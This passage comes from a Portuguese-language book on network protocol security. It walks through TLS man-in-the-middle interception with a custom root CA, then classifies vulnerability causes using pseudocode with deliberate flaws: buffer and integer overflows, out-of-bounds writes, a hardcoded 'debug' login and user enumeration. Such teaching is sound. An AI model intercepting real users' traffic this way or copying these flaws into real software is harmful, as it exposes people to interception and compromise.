é que o protocolo TLS agora é TLS v1.0 ➊ em vez de TLS v1.2.
Outra é que os algoritmos de Cifra e Hash diferem daqueles na
Listagem 8-30, embora o algoritmo de troca de chaves esteja
usando Elliptic Curve Diffie-Hellman (ECDH) para sigilo de
encaminhamento ➋. A última mudança é mostrada no Emissor
de Certificado ➌. As bibliotecas proxy irão gerar
automaticamente um certificado válido com base no original do
servidor, mas ele será assinado com o certificado da Autoridade
Certificadora (CA) da biblioteca. Se um certificado de CA não
estiver configurado, um será gerado no primeiro uso.

Forçando o uso do TLS 1.2

As alterações nas configurações de criptografia negociadas


mostradas na Listagem 8-32 podem interferir no
funcionamento correto dos seus aplicativos de proxy, pois
alguns aplicativos verificam a versão do TLS negociada. Se o
cliente só se conectar a um serviço TLS 1.2, você pode forçar
essa versão adicionando esta linha ao script:

[Link] = [Link]

Substituindo o certificado pelo nosso próprio.

A substituição da cadeia de certificados envolve garantir que o


cliente aceite o certificado gerado como uma Autoridade
Certificadora raiz válida. Execute o script na Listagem 8-33 do
arquivo [Link] para gerar um novo certificado de
Autoridade Certificadora, gravá-lo juntamente com a chave em
um arquivo PFX e gerar o certificado público no formato PEM.

gerar_ca
_cert.csx

using [Link];

// Gera uma chave RSA de 4096 bits com hash SHA512


var ca = [Link]("CN=MyTestCA
4096, CertificateHashAlgorithm.Sha512);
// Exporta para PFX sem senha
[Link]("[Link]", [Link]());
// Exporta o certificado público para um arquivo PEM
[Link]("[Link]", [Link]());

Listagem 8-33: Gerando um novo certificado de CA raiz para um


proxy

No disco, você deverá encontrar um arquivo [Link] e um


arquivo [Link]. Copie o arquivo [Link] para o mesmo diretório
onde estão localizados os arquivos do seu script de proxy e
adicione a seguinte linha antes de inicializar a camada TLS,
conforme mostrado na Listagem 8-31.

[Link]("[Link]");

Todos os certificados gerados agora devem usar o certificado da


sua Autoridade Certificadora como certificado raiz.

Agora você pode importar o arquivo [Link] como uma raiz


confiável para seu aplicativo. O método de importação do
certificado dependerá de vários fatores, como o tipo de
dispositivo em que o aplicativo cliente está sendo executado
(dispositivos móveis geralmente são mais difíceis de serem
comprometidos). Além disso, há a questão de onde a raiz
confiável do aplicativo está armazenada. Por exemplo, está em
um binário do aplicativo? Mostrarei apenas um exemplo de
importação do certificado no Microsoft Windows.

Como é comum que os aplicativos do Windows consultem o


repositório de certificados raiz confiáveis do sistema para obter
suas CAs raiz, podemos importar nosso próprio certificado para
esse repositório e o SuperFunkyChat confiará nele. Para fazer
isso, primeiro execute o [Link] a partir da caixa de
diálogo Executar ou do prompt de comando. Você deverá ver a
janela do aplicativo mostrada na Figura 8-2.
Figura 8-2: O gerenciador de certificados do Windows

Escolha Autoridades de Certificação Raiz Confiáveis ▸


Certificados e, em seguida, selecione Ação ▸ Todas as Tarefas ▸
Importar. Um assistente de importação deverá aparecer. Clique
em Avançar e você deverá ver uma caixa de diálogo semelhante
à Figura 8-3.
Figura 8-3: Importação de arquivo usando o Assistente de
Importação de Certificados

Insira o caminho para o arquivo [Link] ou navegue até ele e


clique em Avançar novamente.

Em seguida, certifique-se de que a opção Autoridades de


Certificação Raiz Confiáveis esteja selecionada na caixa
Repositório de Certificados (consulte a Figura 8-4) e clique em
Avançar.
Figura 8-4: Localização do repositório de certificados

Na tela final, clique em Concluir; você deverá ver a caixa de


diálogo de aviso mostrada na Figura 8-5. Obviamente, leve o
aviso a sério, mas clique em Sim mesmo assim.

OBSERVAÇÃO

Tenha muito cuidado ao importar certificados de


autoridades certificadoras raiz arbitrárias para seu
repositório de certificados raiz confiáveis. Se
alguém obtiver acesso à sua chave privada, mesmo
que você estivesse planejando testar apenas um
aplicativo, essa pessoa poderá interceptar qualquer
conexão TLS que você estabelecer. Nunca instale
certificados arbitrários em nenhum dispositivo que
você use ou que seja importante para você.

Figura 8-5: Um aviso sobre a importação de um certificado de


CA raiz

Enquanto seu aplicativo usar o armazenamento raiz do sistema,


sua conexão com o proxy TLS será considerada confiável.
Podemos testar isso rapidamente com o SuperFunkyChat
usando a opção `--verify` no `ChatClient` para habilitar a
verificação do certificado do servidor. A verificação está
desativada por padrão para permitir o uso de um certificado
autoassinado para o servidor. Mas, ao executar o cliente contra
o servidor proxy com `--verify`, a conexão deverá falhar e você
deverá ver a seguinte saída:

Erros de política SSL: RemoteCertificateNameMismatch


Erro: O certificado remoto é inválido de acordo com o

O problema é que, embora tenhamos adicionado o certificado


da CA como raiz confiável, o nome do servidor, que em muitos
casos é especificado como o assunto do certificado, é inválido
para o destino. Como estamos usando um proxy para a
conexão, o nome do host do servidor é, por exemplo, [Link],
mas o certificado gerado é baseado no certificado original do
servidor.

Para corrigir isso, adicione as seguintes linhas para especificar


o nome do assunto do certificado gerado:

[Link] = true;
[Link] = "CN=[Link]";
Ao tentar novamente com o cliente, ele deverá se conectar com
sucesso ao proxy e, em seguida, ao servidor real, e todo o
tráfego deverá estar descriptografado dentro do proxy.

Podemos aplicar as mesmas alterações de código ao código do


cliente e do servidor de rede nas Listagens 8-6 e 8-8. O
framework se encarregará de garantir que apenas conexões
TLS específicas sejam estabelecidas. (Você pode até especificar
certificados de cliente TLS na configuração para uso na
autenticação mútua, mas esse é um tópico avançado que está
além do escopo deste livro.)

Agora você já deve ter algumas ideias sobre como realizar


ataques man-in-the-middle em conexões TLS. As técnicas que
você aprendeu permitirão descriptografar e criptografar o
tráfego de diversos aplicativos para realizar análises e testes de
segurança.

Palavras finais

Este capítulo demonstrou algumas abordagens que você pode


adotar para reimplementar seu protocolo de aplicação com
base nos resultados da inspeção em tempo real ou da
engenharia reversa da implementação. Apenas arranhei a
superfície deste tópico complexo — muitos desafios
interessantes o aguardam à medida que você investiga questões
de segurança em protocolos de rede.
9
AS CAUSAS PRINCIPAIS DAS
VULNERABILIDADES

Este capítulo descreve as causas comuns de vulnerabilidades de


segurança resultantes da implementação de um protocolo.
Essas causas são distintas das vulnerabilidades que derivam da
especificação de um protocolo (conforme discutido no Capítulo
7). Uma vulnerabilidade não precisa ser diretamente explorável
para ser considerada uma vulnerabilidade. Ela pode
enfraquecer a segurança do protocolo, facilitando outros
ataques, ou pode permitir o acesso a vulnerabilidades mais
graves.

Após a leitura deste capítulo, você começará a perceber padrões


nos protocolos que o ajudarão a identificar vulnerabilidades de
segurança durante sua análise. (Não abordarei como explorar
as diferentes classes até o Capítulo 10.)

Neste capítulo, partirei do pressuposto de que você está


investigando o protocolo utilizando todos os meios disponíveis,
incluindo a análise do tráfego de rede, a engenharia reversa dos
binários da aplicação, a revisão do código-fonte e os testes
manuais do cliente e dos servidores para identificar
vulnerabilidades reais. Algumas vulnerabilidades serão sempre
mais fáceis de encontrar utilizando técnicas como o fuzzing
(uma técnica na qual os dados do protocolo de rede são
alterados para revelar problemas), enquanto outras serão mais
fáceis de encontrar através da revisão do código.

Classes de vulnerabilidade

Ao lidar com vulnerabilidades de segurança, é útil categorizá-


las em classes distintas para avaliar o risco representado pela
exploração da vulnerabilidade. Por exemplo, considere uma
vulnerabilidade que, quando explorada, permite que um
ataque comprometa o sistema no qual um aplicativo está sendo
executado.

Execução Remota de Código

Execução remota de código é um termo genérico para qualquer


vulnerabilidade que permita a um atacante executar código
arbitrário no contexto da aplicação que implementa o
protocolo. Isso pode ocorrer por meio do sequestro da lógica da
aplicação ou da influência na linha de comando de
subprocessos criados durante a operação normal.

As vulnerabilidades de execução remota de código são


geralmente as mais críticas em termos de segurança, pois
permitem que um invasor comprometa o sistema no qual o
aplicativo está sendo executado. Tal comprometimento daria ao
invasor acesso a tudo o que o aplicativo pode acessar e poderia
até mesmo permitir que a rede de hospedagem fosse
comprometida.

Negação de serviço

Os aplicativos são geralmente projetados para fornecer um


serviço. Se existir uma vulnerabilidade que, quando explorada,
faça com que um aplicativo trave ou pare de responder, um
invasor pode usar essa vulnerabilidade para negar aos usuários
legítimos o acesso a um determinado aplicativo e ao serviço que
ele oferece. Comumente chamada de vulnerabilidade de
negação de serviço (DoS), ela requer poucos recursos, às vezes
apenas um único pacote de rede, para derrubar todo o
aplicativo. Sem dúvida, isso pode ser bastante prejudicial nas
mãos erradas.

Podemos categorizar as vulnerabilidades de negação de serviço


como persistentes ou não persistentes. Uma vulnerabilidade
persistente impede permanentemente que usuários legítimos
acessem o serviço (pelo menos até que um administrador
corrija o problema). Isso ocorre porque a exploração da
vulnerabilidade corrompe algum estado armazenado, o que
garante que o aplicativo falhe ao ser reiniciado. Uma
vulnerabilidade não persistente dura apenas enquanto um
invasor estiver enviando dados para causar a condição de
negação de serviço. Normalmente, se o aplicativo puder
reiniciar sozinho ou tiver tempo suficiente, o serviço será
restaurado.

Divulgação de informações

Muitos aplicativos são caixas-pretas, que, em operação normal,


fornecem apenas certas informações pela rede. Uma
vulnerabilidade de divulgação de informações existe se houver
uma maneira de fazer com que um aplicativo forneça
informações para as quais não foi originalmente projetado,
como o conteúdo da memória, caminhos do sistema de arquivos
ou credenciais de autenticação. Essas informações podem ser
diretamente úteis para um atacante, pois podem facilitar a
exploração posterior. Por exemplo, as informações podem
revelar a localização de estruturas importantes na memória
que podem auxiliar na execução remota de código.

Bypass de autenticação

Muitas aplicações exigem que os usuários forneçam credenciais


de autenticação para acessar completamente a aplicação.
Credenciais válidas podem ser um nome de usuário e senha ou
uma verificação mais complexa, como uma troca
criptograficamente segura. A autenticação limita o acesso aos
recursos, mas também pode reduzir a superfície de ataque de
uma aplicação quando um invasor não está autenticado.

Uma vulnerabilidade de bypass de autenticação existe em uma


aplicação se houver uma maneira de autenticar-se na aplicação
sem fornecer todas as credenciais de autenticação. Essas
vulnerabilidades podem ser tão simples quanto uma aplicação
verificar incorretamente uma senha — por exemplo,
comparando um simples checksum da senha, que é fácil de ser
quebrado por força bruta. Ou as vulnerabilidades podem ser
devido a problemas mais complexos, como injeção de SQL
(discutida posteriormente em “Injeção de SQL” na página 228).

Ignorar autorização

Nem todos os usuários são iguais. Os aplicativos podem


suportar diferentes tipos de usuários, como usuários com
acesso somente leitura, com privilégios limitados ou
administradores, por meio da mesma interface. Se um
aplicativo fornece acesso a recursos como arquivos, pode ser
necessário restringir o acesso com base na autenticação. Para
permitir o acesso a recursos protegidos, um processo de
autorização deve ser implementado para determinar quais
direitos e recursos foram atribuídos a um usuário.

Uma vulnerabilidade de bypass de autorização ocorre quando


um atacante consegue obter direitos extras ou acesso a recursos
para os quais não possui privilégios. Por exemplo, um atacante
pode alterar diretamente o usuário autenticado ou seus
privilégios, ou um protocolo pode não verificar corretamente as
permissões do usuário.

OBSERVAÇÃO

Não confunda vulnerabilidades de bypass de


autorização com vulnerabilidades de bypass de
autenticação. A principal diferença entre as duas é
que um bypass de autenticação permite que você
se autentique como um usuário específico do ponto
de vista do sistema; um bypass de autorização
permite que um invasor acesse um recurso a partir
de um estado de autenticação incorreto (que pode,
na verdade, ser de usuário não autenticado).

Tendo definido as classes de vulnerabilidade, vamos analisar


suas causas em mais detalhes e explorar algumas das estruturas
de protocolo nas quais você as encontrará. Cada tipo de causa
raiz contém uma lista das possíveis classes de vulnerabilidade
que ela pode gerar. Embora esta não seja uma lista exaustiva,
abordo aquelas que você provavelmente encontrará com mais
frequência.

Vulnerabilidades de corrupção de memória

Se você já realizou alguma análise, a corrupção de memória


provavelmente é a principal vulnerabilidade de segurança que
você encontrou. Os aplicativos armazenam seu estado atual na
memória e, se essa memória puder ser corrompida de forma
controlada, o resultado pode causar qualquer tipo de
vulnerabilidade de segurança. Essas vulnerabilidades podem
simplesmente causar a falha de um aplicativo (resultando em
uma condição de negação de serviço) ou ser mais perigosas,
como permitir que um invasor execute código no sistema alvo.

Linguagens de programação com segurança de memória


versus linguagens sem segurança de memória

As vulnerabilidades de corrupção de memória dependem muito


da linguagem de programação em que a aplicação foi
desenvolvida. Quando se trata de corrupção de memória, a
principal diferença entre as linguagens está relacionada ao fato
de uma linguagem (e seu ambiente de execução) ser segura ou
insegura em relação à memória. Linguagens seguras em relação
à memória, como Java, C#, Python e Ruby, normalmente não
exigem que o desenvolvedor lide com o gerenciamento de
memória de baixo nível. Elas às vezes fornecem bibliotecas ou
construções para realizar operações inseguras (como a palavra-
chave `unsafe` do C#). Mas o uso dessas bibliotecas ou
construções exige que os desenvolvedores explicitem seu uso, o
que permite que esse uso seja auditado quanto à segurança.
Linguagens seguras em relação à memória também costumam
realizar verificações de limites para acesso a buffers na
memória, a fim de evitar leituras e gravações fora dos limites. O
fato de uma linguagem ser segura em relação à memória não
significa que ela seja completamente imune à corrupção de
memória. No entanto, a corrupção tem maior probabilidade de
ser um bug no ambiente de execução da linguagem do que um
erro do desenvolvedor original.

Por outro lado, linguagens com segurança de memória


insegura, como C e C++, realizam pouca verificação de acesso à
memória e carecem de mecanismos robustos para
gerenciamento automático de memória. Como resultado,
muitos tipos de corrupção de memória podem ocorrer. O grau
de exploração dessas vulnerabilidades depende do sistema
operacional, do compilador utilizado e da estrutura da
aplicação.
A corrupção de memória é uma das causas mais antigas e
conhecidas de vulnerabilidades; portanto, esforços
consideráveis têm sido feitos para eliminá-la. (Discutirei
algumas das estratégias de mitigação com mais detalhes no
Capítulo 10, quando explicarei como você pode explorar essas
vulnerabilidades.)

Estouro do buffer de memória

Talvez a vulnerabilidade de corrupção de memória mais


conhecida seja o estouro de buffer. Essa vulnerabilidade ocorre
quando um aplicativo tenta inserir mais dados em uma região
da memória do que aquela para a qual foi projetada. Os
estouros de buffer podem ser explorados para executar
programas arbitrários ou para burlar restrições de segurança,
como controles de acesso de usuários. A Figura 9-1 mostra um
estouro de buffer simples causado por dados de entrada que
são muito grandes para o buffer alocado, resultando em
corrupção de memória.
Figura 9-1: Corrupção de memória por estouro de buffer

Os estouros de buffer podem ocorrer por dois motivos:


comumente chamados de estouro de buffer de comprimento
fixo, quando um aplicativo assume incorretamente que o buffer
de entrada caberá no buffer alocado. Um estouro de buffer de
comprimento variável ocorre porque o tamanho do buffer
alocado é calculado incorretamente.

Estouro de buffer de comprimento fixo

De longe, o estouro de buffer mais simples ocorre quando um


aplicativo verifica incorretamente o comprimento de um valor
de dados externo em relação a um buffer de tamanho fixo na
memória. Esse buffer pode residir na pilha, ser alocado no heap
ou existir como um buffer global definido em tempo de
compilação. A questão crucial é que o comprimento na
memória é determinado antes do conhecimento do tamanho
real dos dados.
A causa do estouro depende da aplicação, mas pode ser tão
simples quanto a aplicação não verificar o comprimento ou
verificá-lo incorretamente. O exemplo na Listagem 9-1 ilustra
isso.

def read_string()

➊ byte str[32];
int i = 0;

do

➋ str[i] = read_byte();
i = i + 1;

➌ while(str[i-1] != 0);
printf("String lida: %s\n", str);

Listagem 9-1: Um simples estouro de buffer de comprimento


fixo

Este código primeiro aloca o buffer onde armazenará a string


(na pilha) e aloca 32 bytes de dados ➊. Em seguida, entra em um
loop que lê um byte da rede e o armazena em um índice
crescente no buffer ➋. O loop termina quando o último byte lido
da rede for igual a zero, o que indica que o valor foi enviado ➌.

Neste caso, o desenvolvedor cometeu um erro: o loop não


verifica o comprimento atual em ➌ e, portanto, lê todos os
dados disponíveis da rede, levando à corrupção de memória.
Obviamente, esse problema ocorre porque linguagens de
programação inseguras não realizam verificações de limites em
arrays. Essa vulnerabilidade pode ser muito fácil de explorar se
não houver medidas de mitigação implementadas pelo
compilador, como cookies de pilha para detectar a corrupção.

FUNÇÕES DE STRING INSEGURAS

A linguagem de programação C não define um tipo string. Em


vez disso, utiliza ponteiros de memória para uma lista de tipos
char. O final da string é indicado por um caractere de valor
zero. Isso não representa um problema de segurança
diretamente. No entanto, quando as bibliotecas internas para
manipulação de strings foram desenvolvidas, a segurança não
foi considerada. Consequentemente, muitas dessas funções de
string são muito perigosas para uso em aplicações críticas de
segurança.
Para entender o quão perigosas essas funções podem ser,
vejamos um exemplo usando `strcpy`, a função que copia
strings. Essa função recebe apenas dois argumentos: um
ponteiro para a string de origem e um ponteiro para o buffer de
memória de destino onde a cópia será armazenada. Observe
que nada indica o tamanho do buffer de memória de destino. E,
como você já viu, uma linguagem insegura em relação à
memória, como C, não controla o tamanho dos buffers. Se um
programador tentar copiar uma string que seja maior que o
buffer de destino, especialmente se ela vier de uma fonte
externa não confiável, ocorrerá corrupção de memória.

Compiladores C mais recentes e padronizações da linguagem


adicionaram versões mais seguras dessas funções, como
strcpy_s, que adiciona um argumento de comprimento de
destino. Mas se um aplicativo usa uma função de string mais
antiga, como strcpy, strcat ou sprintf, há uma boa chance de
ocorrer uma vulnerabilidade grave de corrupção de memória.

Mesmo que um desenvolvedor realize uma verificação de


comprimento, essa verificação pode não ser feita corretamente.
Sem a verificação automática de limites no acesso a arrays,
cabe ao desenvolvedor verificar todas as leituras e gravações. A
Listagem 9-2 mostra uma versão corrigida da Listagem 9-1 que
leva em consideração strings maiores que o tamanho do buffer.
Mesmo com a correção, ainda existe uma vulnerabilidade no
código.

def read_string_fixed()

➊ byte str[32];
int i = 0;

do

➋ str[i] = read_byte();
i = i + 1;

➌ while((str[i-1] != 0) && (i < 32));

/* Garante que a string seja terminada em zero se o c


➍ str[i] = 0;

printf("Ler string: %s\n", str);

Listagem 9-2: Um estouro de buffer com deslocamento de um


Como no exemplo 9-1, em ➊ e ➋, o código aloca um buffer de
pilha fixo e lê a string em um loop. A primeira diferença está
em ➌. O desenvolvedor adicionou uma verificação para
garantir que o loop seja encerrado caso já tenham sido lidos 32
bytes, o máximo que o buffer de pilha pode armazenar.
Infelizmente, para garantir que o buffer da string seja
encerrado corretamente, um byte zero é escrito na última
posição disponível no buffer, ➍. Nesse ponto, i tem o valor 32.
Mas, como linguagens como C iniciam a indexação de buffers a
partir de 0, isso significa que o valor 0 será escrito no 33º
elemento do buffer, causando corrupção, como mostrado na
Figura 9-2.

Figura 9-2: Corrupção de memória com erro de deslocamento


de um

Isso resulta em um erro de deslocamento de um (devido à


mudança na posição do índice), um erro comum em linguagens
que não são seguras em relação à memória e que utilizam
indexação de buffer baseada em zero. Se o valor sobrescrito for
importante — por exemplo, se for o endereço de retorno da
função — essa vulnerabilidade pode ser explorada.

Estouro de buffer de comprimento variável

Uma aplicação não precisa usar buffers de tamanho fixo para


armazenar dados de protocolo. Na maioria das situações, é
possível que a aplicação aloque um buffer do tamanho correto
para os dados que estão sendo armazenados. No entanto, se a
aplicação calcular incorretamente o tamanho do buffer, pode
ocorrer um estouro de buffer de tamanho variável.

Como o tamanho do buffer é calculado em tempo de execução


com base no tamanho dos dados do protocolo, você pode pensar
que um estouro de buffer de tamanho variável dificilmente
representa uma vulnerabilidade real. No entanto, essa
vulnerabilidade ainda pode ocorrer de diversas maneiras. Por
exemplo, um aplicativo pode simplesmente calcular o tamanho
do buffer incorretamente. (Os aplicativos devem ser
rigorosamente testados antes de serem disponibilizados ao
público em geral, mas isso nem sempre acontece.)

Um problema maior surge se o cálculo induzir um


comportamento indefinido por parte da linguagem ou
plataforma. Por exemplo, o Exemplo 9-3 demonstra uma forma
comum de cálculo incorreto do comprimento.

def read_uint32_array()

uint32 len;
uint32[] buf;

// Lê o número de palavras da rede


➊ len = read_uint32();

// Aloca um buffer de memória


➋ buf = malloc(len * sizeof(uint32));

// Lê os valores
for(uint32 i = 0; i < len; ++i)

➌ buf[i] = read_uint32();

printf("Ler %d valores uint32\n", len);

Listagem 9-3: Cálculo incorreto do comprimento da alocação


Aqui, o buffer de memória é alocado dinamicamente em tempo
de execução para conter o tamanho total dos dados de entrada
do protocolo. Primeiro, o código lê um inteiro de 32 bits, que
utiliza para determinar o número de valores de 32 bits
subsequentes no protocolo ➊. Em seguida, determina o
tamanho total da alocação e aloca um buffer de tamanho
correspondente ➋. Finalmente, o código inicia um loop que lê
cada valor do protocolo para o buffer alocado ➌.

O que poderia dar errado? Para responder, vamos dar uma


olhada rápida em estouros de inteiros.

Estouro de inteiro

No nível de instruções do processador, as operações aritméticas


com inteiros são comumente realizadas usando aritmética
modular. A aritmética modular permite que os valores
ultrapassem um determinado valor, chamado módulo. Um
processador usa aritmética modular se suportar apenas um
determinado tamanho nativo de inteiro, como 32 ou 64 bits.
Isso significa que o resultado de qualquer operação aritmética
deve sempre estar dentro dos intervalos permitidos para o
valor inteiro de tamanho fixo. Por exemplo, um inteiro de 8 bits
pode assumir apenas valores entre 0 e 255; ele não pode
representar nenhum outro valor. A Figura 9-3 mostra o que
acontece quando você multiplica um valor por 4, causando um
estouro de inteiro.

Figura 9-3: Um estouro de inteiro simples

Embora esta figura mostre inteiros de 8 bits por uma questão


de brevidade, a mesma lógica se aplica a inteiros de 32 bits.
Quando multiplicamos o comprimento original 0x41 ou 65 por
4, o resultado é 0x104 ou 260. Esse resultado não cabe em um
inteiro de 8 bits com um intervalo de 0 a 255. Portanto, o
processador descarta o bit que ultrapassou o limite (ou, mais
provavelmente, o armazena em um sinalizador especial
indicando que ocorreu um estouro), e o resultado é o valor 4 —
não o que esperávamos. O processador pode emitir um erro
para indicar que ocorreu um estouro, mas linguagens de
programação que não são seguras em relação à memória
normalmente ignoram esse tipo de erro. De fato, o ato de
"enrolar" o valor inteiro é usado em arquiteturas como x86
para indicar o resultado com sinal de uma operação.
Linguagens de alto nível podem indicar o erro ou podem não
suportar estouro de inteiro, por exemplo, estendendo o
tamanho do inteiro sob demanda.

Voltando à Listagem 9-3, você pode ver que, se um atacante


fornecer um valor escolhido adequadamente para o
comprimento do buffer, a multiplicação por 4 causará um
estouro de buffer. Isso resulta em um número menor sendo
alocado à memória do que o transmitido pela rede. Quando os
valores são lidos da rede e inseridos no buffer alocado, o
analisador sintático usa o comprimento original. Como o
comprimento original dos dados não corresponde ao tamanho
da alocação, os valores serão gravados fora do buffer, causando
corrupção de memória.

O que acontece se alocarmos zero bytes?

Considere o que acontece quando calculamos um comprimento


de alocação de zero bytes. A alocação simplesmente falharia
porque não é possível alocar um buffer de comprimento zero?
Como em muitos casos em linguagens como C, cabe à
implementação determinar o que ocorre (o temido
comportamento definido pela implementação). No caso da
função alocadora em C, `malloc`, passar zero como o tamanho
solicitado pode retornar uma falha ou um buffer de tamanho
indeterminado, o que dificilmente inspira confiança.

Indexação de buffer fora dos limites

Você já viu que linguagens inseguras em relação à memória não


realizam verificações de limites. Mas, às vezes, uma
vulnerabilidade ocorre porque o tamanho do buffer está
incorreto, levando à corrupção de memória. A indexação fora
dos limites tem uma causa raiz diferente: em vez de especificar
incorretamente o tamanho de um valor de dados, teremos
algum controle sobre a posição no buffer que acessaremos. Se a
verificação de limites incorreta for feita na posição de acesso,
existe uma vulnerabilidade. Essa vulnerabilidade pode, em
muitos casos, ser explorada para escrever dados fora do buffer,
levando à corrupção seletiva de memória. Ou pode ser
explorada lendo um valor fora do buffer, o que pode levar à
divulgação de informações ou até mesmo à execução remota de
código. O exemplo 9-4 mostra uma exploração do primeiro caso
— escrever dados fora do buffer.

➊ byte app_flags[32];

def update_flag_value()
➋ byte index = read_byte();
byte value = read_byte();

printf("Escrevendo %d no índice %d\n", value, index);

➌ app_flags[index] = value;

Listagem 9-4: Escrevendo em um índice de buffer fora dos


limites

Este breve exemplo mostra um protocolo com um conjunto


comum de flags que podem ser atualizadas pelo cliente. Talvez
ele seja projetado para controlar certas propriedades do
servidor. O código define um buffer fixo de 32 flags em ➊. Em
➋, ele lê um byte da rede, que será usado como índice (com um
intervalo de 0 a 255 valores possíveis), e então escreve o byte no
buffer de flags ➌. A vulnerabilidade neste caso deve ser óbvia:
um atacante pode fornecer valores fora do intervalo de 0 a 32
com o índice, levando à corrupção seletiva da memória.

A indexação fora dos limites não se restringe apenas à escrita.


Ela funciona igualmente bem quando valores são lidos de um
buffer com um índice incorreto. Se o índice fosse usado para ler
um valor e retorná-lo ao cliente, existiria uma vulnerabilidade
simples de divulgação de informações.

Uma vulnerabilidade particularmente crítica pode ocorrer se o


índice for usado para identificar funções dentro de um
aplicativo para serem executadas. Esse uso pode ser algo
simples, como usar um identificador de comando como índice,
o que geralmente seria programado armazenando ponteiros de
memória para funções em um buffer. O índice é então usado
para buscar na rede a função responsável por lidar com o
comando especificado. A indexação fora dos limites resultaria
na leitura de um valor inesperado da memória, que seria
interpretado como um ponteiro para uma função. Esse
problema pode facilmente resultar em vulnerabilidades de
execução remota de código exploráveis. Normalmente, tudo o
que é necessário é encontrar um valor de índice que, quando
lido como um ponteiro de função, faria com que a execução
fosse transferida para um local de memória que um atacante
possa controlar facilmente.

Ataque de Expansão de Dados

Mesmo as redes modernas de alta velocidade comprimem os


dados para reduzir o número de octetos brutos enviados, seja
para melhorar o desempenho reduzindo o tempo de
transferência de dados ou para reduzir os custos de largura de
banda. Em algum momento, esses dados precisam ser
descomprimidos e, se a compressão for feita por um aplicativo,
ataques de expansão de dados são possíveis, como mostrado na
Listagem 9-5.

void read_compressed_buffer()

byte buf[];
uint32 len;
int i = 0;

// Lê o tamanho descompactado
➊ len = read_uint32();

// Aloca memória buffer


➋ buf = malloc(len);

➌ gzip_decompress_data(buf)

printf("Descompactado em %d bytes\n", len);

Listagem 9-5: Exemplo de código vulnerável a um ataque de


expansão de dados
Aqui, os dados comprimidos são prefixados com o tamanho
total dos dados descomprimidos. O tamanho é lido da rede ➊ e
usado para alocar o buffer necessário ➋. Em seguida, é feita
uma chamada para descomprimir os dados para o buffer ➌
usando um algoritmo de streaming, como o gzip. O código não
verifica se os dados descomprimidos realmente cabem no
buffer alocado.

É claro que esse ataque não se limita à compressão. Qualquer


processo de transformação de dados, seja criptografia,
compressão ou conversões de codificação de texto, pode alterar
o tamanho dos dados e levar a um ataque de expansão.

Falhas na alocação dinâmica de memória

A memória de um sistema é finita e, quando o pool de memória


se esgota, um pool de alocação de memória dinâmica deve lidar
com situações em que um aplicativo precisa de mais memória.
Na linguagem C, isso geralmente resulta em um valor de erro
retornado pelas funções de alocação (normalmente um
ponteiro NUL); em outras linguagens, pode resultar no
encerramento do ambiente ou na geração de uma exceção.

Diversas vulnerabilidades podem surgir devido ao tratamento


incorreto de uma falha na alocação dinâmica de memória. A
mais óbvia é a falha da aplicação, que pode levar a uma
condição de negação de serviço.

Credenciais padrão ou codificadas

Ao implantar um aplicativo que utiliza autenticação,


credenciais padrão são geralmente adicionadas como parte do
processo de instalação. Normalmente, essas contas possuem um
nome de usuário e senha padrão associados a elas. Os valores
padrão criam um problema se o administrador que implanta o
aplicativo não reconfigurar as credenciais dessas contas antes
de disponibilizar o serviço.

Um problema mais sério ocorre quando um aplicativo possui


credenciais embutidas no código que só podem ser alteradas
recompilando o aplicativo. Essas credenciais podem ter sido
adicionadas para fins de depuração durante o desenvolvimento
e não foram removidas antes do lançamento final. Ou podem
ser uma porta dos fundos intencional, adicionada com
intenções maliciosas. A Listagem 9-6 mostra um exemplo de
autenticação comprometida por credenciais embutidas no
código.

def process_authentication()
➊ string username = read_string();
string password = read_string();

// Verifica se é um usuário de depuração; não se esqu


➋ if(username == "debug")

return true;

else

➌ return check_user_password(username, password);

Listagem 9-6: Um exemplo de credenciais padrão

O aplicativo primeiro lê o nome de usuário e a senha da rede ➊


e, em seguida, verifica se há um nome de usuário predefinido,
debug ➋. Se o aplicativo encontrar o nome de usuário debug,
ele passa automaticamente pelo processo de autenticação; caso
contrário, segue o processo de verificação normal ➌. Para
explorar esse nome de usuário padrão, tudo o que você precisa
fazer é entrar como o usuário debug. Em um aplicativo real, as
credenciais podem não ser tão simples de usar. O processo de
login pode exigir que você tenha um endereço IP de origem
válido, envie uma string mágica para o aplicativo antes do login
e assim por diante.

Enumeração de usuários

A maioria dos mecanismos de autenticação voltados para o


usuário utiliza nomes de usuário para controlar o acesso a
recursos. Normalmente, esse nome de usuário é combinado
com um token, como uma senha, para concluir a autenticação.
A identidade do usuário não precisa ser secreta: os nomes de
usuário geralmente são endereços de e-mail públicos.

Ainda existem algumas vantagens em não permitir que alguém,


especialmente usuários não autenticados, acesse essas
informações. Ao identificar contas de usuário válidas, aumenta-
se a probabilidade de um invasor conseguir descobrir senhas
por força bruta. Portanto, qualquer vulnerabilidade que revele
a existência de nomes de usuário válidos ou forneça acesso à
lista de usuários é um problema que vale a pena identificar.
Uma vulnerabilidade que revela a existência de usuários é
mostrada na Listagem 9-7.

def process_authentication()

string username = read_string();


string password = read_string();

➊ if(user_exists(username) == false)

➋ write_error("Usuário " + username " não existe");

else

➌ if(check_user_password(username, password))

write_success("Usuário OK");

else

➍ write_error("Usuário " + nome de usuário " senha in

Listagem 9-7: Divulgação da existência de usuários em um


aplicativo

O exemplo mostra um processo de autenticação simples, no


qual o nome de usuário e a senha são lidos da rede. Primeiro,
verifica-se a existência do usuário ➊; se o usuário não existir,
um erro é retornado ➋. Se o usuário existir, o exemplo verifica
a senha desse usuário ➌. Novamente, se essa verificação falhar,
um erro é exibido ➍. Você notará que as duas mensagens de
erro em ➋ e ➍ são diferentes, dependendo se o usuário não
existe ou se apenas a senha está incorreta. Essas informações
são suficientes para determinar quais nomes de usuário são
válidos.

Ao conhecer um nome de usuário, um atacante pode facilmente


realizar um ataque de força bruta para descobrir credenciais de
autenticação válidas. (É mais simples adivinhar apenas a senha
do que a senha e o nome de usuário.) Conhecer um nome de
usuário também pode fornecer ao atacante informações
suficientes para realizar um ataque de engenharia social bem-
sucedido, convencendo o usuário a revelar sua senha ou outras
informações confidenciais.

Acesso incorreto ao recurso

Protocolos que fornecem acesso a recursos, como HTTP ou


outros protocolos de compartilhamento de arquivos, usam um
identificador para o recurso que você deseja acessar. Esse
identificador pode ser um caminho de arquivo ou outro
identificador exclusivo. O aplicativo deve resolver esse
identificador para acessar o recurso desejado. Em caso de
sucesso, o conteúdo do recurso é acessado; caso contrário, o
protocolo gera um erro.

Diversas vulnerabilidades podem afetar esses protocolos


durante o processamento de identificadores de recursos. Vale a
pena testar todas as vulnerabilidades possíveis e observar
atentamente a resposta da aplicação.

Canonicalização

Se o identificador de recurso for uma lista hierárquica de


